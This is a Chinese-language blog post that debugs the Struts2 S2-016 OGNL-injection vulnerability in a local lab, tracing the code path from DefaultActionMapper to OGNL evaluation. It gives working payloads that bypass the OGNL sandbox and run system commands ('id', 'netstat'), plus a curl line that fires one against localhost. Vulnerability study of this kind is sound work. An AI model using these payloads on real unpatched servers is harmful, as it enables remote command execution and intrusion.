Struts2 S2-016 调试学习
CoColi 漏洞分析 11215浏览 · 2019-04-01 01:42

S2-016

影响版本

Struts2.0.0 - Struts2.3.15

漏洞成因

DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

复现环境是 vulhub 和vulapp

Payload

redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

调试

第一次调试,弄环境弄了半天,记录一下
把war包 扔到webapps下 自动部署了 (也可以用TdeCompile) 出现一个文件夹(a)
idea 新建project java web (文件夹b)
把a下面的web-inf 扔到 b的web-inf a的class下的文件要JD-GUI反编译一下 扔到b的src里
idea 里面再重新载入一下 lib下的文件
添加tomcat服务器
就可以了

DefaultActionMapper在处理短路径重定向参数前缀
  "action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞,由于对
  "action:"/"redirect:"/"redirectAction:"后的URL信息使用OGNL表达式处理,远程攻击者可以利用漏洞提交特殊URL可用于执行任意Java代码。
重定向请求 会让DefaultActionMapper 来处理
这是重定向请求的参数前缀

断点 下在这里

this.put("redirect:", new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        ServletRedirectResult redirect = new ServletRedirectResult();//重定向url 设置一些参数 如statuscode=302
        DefaultActionMapper.this.container.inject(redirect);
        redirect.setLocation(key.substring("redirect:".length()));//去掉前面的redirect://
        mapping.setResult(redirect);//把redirect 加进去了 只有location改变了
    }
});

struts2会调用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里
接下来到

public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
    Set<String> uniqueParameters = new HashSet();
    Map parameterMap = request.getParameterMap();//parameterMap 里面就是我们的payload
    Iterator i$ = parameterMap.keySet().iterator();
    while(i$.hasNext()) {
        Object o = i$.next();
        String key = (String)o;//payload转换成字符串
        if (key.endsWith(".x") || key.endsWith(".y")) {
            key = key.substring(0, key.length() - 2);//如果有.x .y 结尾就截掉了
        }
        if (!uniqueParameters.contains(key)) {
            ParameterAction parameterAction = (ParameterAction)this.prefixTrie.get(key);
            if (parameterAction != null) {
                parameterAction.execute(key, mapping);
                uniqueParameters.add(key);//把payload加到了set里
                break;
            }
        }
    }
}

觉得这里的parameterAction.execute 执行的就是我们第一个断点的位置,而getMapping调用了这个上面的函数handleSpecialParameters.
我觉得我们这个断点下的 在调用的最深层,之后还要出去 往回 走 类似调用栈的那种感觉..所以才会造成明明是getMapping 调用了handleSpecialParameters,而在idea里 handleSpecialParameters是getMapping
正确的调用顺序 getMapping->handleSpecialParameters->DefaultActionMapper里的prefixTrie中的一个
这就已经把payload 送进了mapping 的result 的location里
发现有execute 继续跟

cleanupRequest 也是一个过滤 但没啥用
继续跟 才是最关键的
org.apache.struts2.dispatcher.Dispatcher#serviceAction

public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {

//看这些参数的时候就知道 要执行OGNL了,mapping context 啥的
//下面还有什么valuestack的操作
//最关键的

if (mapping.getResult() != null) {
    Result result = mapping.getResult();//我们的payload 就在result location 里
    result.execute(proxy.getInvocation());
} else {
    proxy.execute();
}

这个地方就是啥呢,看我们的action 映射是不是直接访问网页,如果是直接访问网页就走else 里面的execute.
而我们现在是redirect 302 跳转 就走上面的
我们走的是上面的
继续
现在就已经是执行payload的部分了


TextParseUtil.translateVariables 就是提取出OGNL表达式并执行
一步一步跟 有很多com.opensymphony.xwork2.util.OgnlTextParser 解析OGNL的


需要把他改成true 绕过沙盒

细致的跟踪
后面经常出现
getvalue
this.evaluateGetValueBody
ognl.SimpleNode#evaluateGetValueBody

这地方可能是 tree 分开之后的 每个payload小语句 执行 循环
补充一下
org.apache.struts2.dispatcher.ng.ExecuteOperations#executeAction
启动的时候有一些参数
没修改之前的context

Getvalue->evaluateGetValueBody->Getvaluebody
ognl.OgnlRuntime#callMethod(ognl.OgnlContext, java.lang.Object, java.lang.String, java.lang.Object[])

这里就执行了OGNL表达式

curl -v http://localhost:8081/S2_016_war_exploded/default.action\?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

参考文章:

很详细的调试S2-016

030509调试内有调用链参考下

可能有的地方说的不对,希望师傅们指正(萌新瑟瑟发抖)

4 条评论
某人
表情
可输入 255